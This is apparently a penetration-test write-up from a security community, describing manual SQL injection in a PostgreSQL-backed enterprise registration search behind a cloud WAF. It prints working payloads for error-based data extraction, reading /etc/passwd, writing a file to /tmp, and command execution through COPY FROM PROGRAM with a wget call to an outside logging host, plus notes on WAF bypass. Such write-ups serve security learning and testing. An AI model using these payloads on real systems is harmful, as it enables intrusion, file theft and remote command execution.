0x01 PostgreSQL SQL注入
在登录框的漏洞挖掘之后,我们回归正题,继续分析企业用户注册功能。点击注册页面的搜索按钮并抓包,可以发现一个搜索社区或地址的数据包。通过对参数尝试单引号'和双单引号''进行测试,成功触发了报错,确认此处存在一个SQL注入点。



然而,当我们尝试构造基础的Payload时,发现目标系统部署了某云WAF进行防护,导致SQLMap等自动化工具无法直接使用,只能进行手工注入。


首先,需要通过报错信息来判断数据库类型。分析错误堆栈中的异常信息,最终定位到数据库为 PostgreSQL ,这在实战中相对少见。


我们需要通过报错信息来定位SQL语句的原始结构,从而构造有效的报错注入Payload。在参数后添加'11,可以从下面的报错信息中看到SQL语句的大致模样:
SELECT * FROM tbl_org WHERE (name like '%11%' AND type = 400)
可以确认,我们传入的参数被放置在两个百分号%之间。

起初,我尝试使用';payload--+这类方式进行堆叠注入,但均被WAF拦截。随后,在同事的帮助下获得了一个有效的Payload:'||(to_date(substring(current_database() from 1 for 1),'qwe'))||'。

现在我们来分析这个语句:
- 单引号
':用于闭合原SQL语句中like子句的前单引号。
- 双竖线
||:在PostgreSQL中是字符串连接运算符。
to_date函数:这是一个用于将字符串转换为日期的函数。我们利用它将substring(current_database() from 1 for 1)(即截取当前数据库名的第一个字符)的结果,与一个无效的日期格式'qwe'进行比较,从而触发类型转换错误,并在错误信息中回显我们截取的字符。
- 通过修改
substring函数中from后面的数字,可以依次暴露出数据库名每一位的字符。
提示:实际使用该Payload时需要先进行URL编码,以绕过WAF的检测。
通过查看历史请求,发现在加载小区列表时也有一个查询请求,该参数同样存在SQL注入,高危漏洞再添一枚。


0x02 任意文件读取
在深入研究了 PostgreSQL 的一些高级注入技巧后,发现可以利用其进行文件读取。使用Payload:'||(to_date(pg_read_file('/etc/passwd',2,20),'qwe'))||',即可尝试读取服务器上的文件。
该方法的原理与上文相同,都是通过触发to_date函数的转换错误,将pg_read_file函数读取到的文件内容(从指定偏移量开始读取指定长度)逐位报错显示出来。通过修改pg_read_file函数的参数,理论上可以读取服务器上的任意文件,成功实现任意文件读取,高危漏洞+1。

0x03 任意文件写入
接下来,尝试利用PostgreSQL的文件写入功能。使用Payload:1');COPY (select 1234) to '/tmp/2.jsp';--,将其URL编码后注入,目的是在服务器的/tmp目录下创建一个名为2.jsp的文件,并写入内容1234。

写入后,使用读取文件的Payload:'||(to_date(pg_read_file('/tmp/2.jsp',4,20),'qwe'))||' 来查询/tmp/2.jsp文件,从报错信息中确认文件已成功上传并写入了指定内容。

如果尝试读取一个不存在的文件,例如/tmp/3.jsp,则会收到“文件不存在”的错误提示。

由于目标网站采用Spring框架部署,我们无法直接获知Web应用的绝对路径,因此只能证明拥有向服务器临时目录写入文件的能力。一个可行的技巧是尝试读取/root/.bash_history等历史命令文件来寻找项目路径,但这需要逐字符进行报错读取,过程较为繁琐,本次测试中未深入进行。
0x04 命令执行
最后,尝试进行命令执行。使用Payload:1');CREATE TABLE zz(zz_output text);COPY zz FROM PROGRAM 'wget http://XX.XX.ceye.io/1.jpg';--,意图让数据库服务器执行wget命令访问我们的DNSLog平台。

遗憾的是,数据库服务器可能权限不足或配置限制,执行命令的子进程直接退出了,未能在平台收到回显。
在整个渗透过程中,还尝试了注册账号(需管理员审批)、以及利用信息收集到的手机号结合登录成功的数据包进行替换,尝试绕过认证实现任意用户登录。但后者可能因为存在Token或Session二次校验,未能成功加载用户数据。
秉持着安全测试的可持续性原则,本次渗透测试就到此为止。在实战中深入挖掘和利用 PostgreSQL 数据库的SQL注入漏洞,是一个系统性的过程,涉及信息收集、Payload构造、绕过防御和权限提升等多个环节。希望本次在 云栈社区 分享的案例能为大家带来一些启发。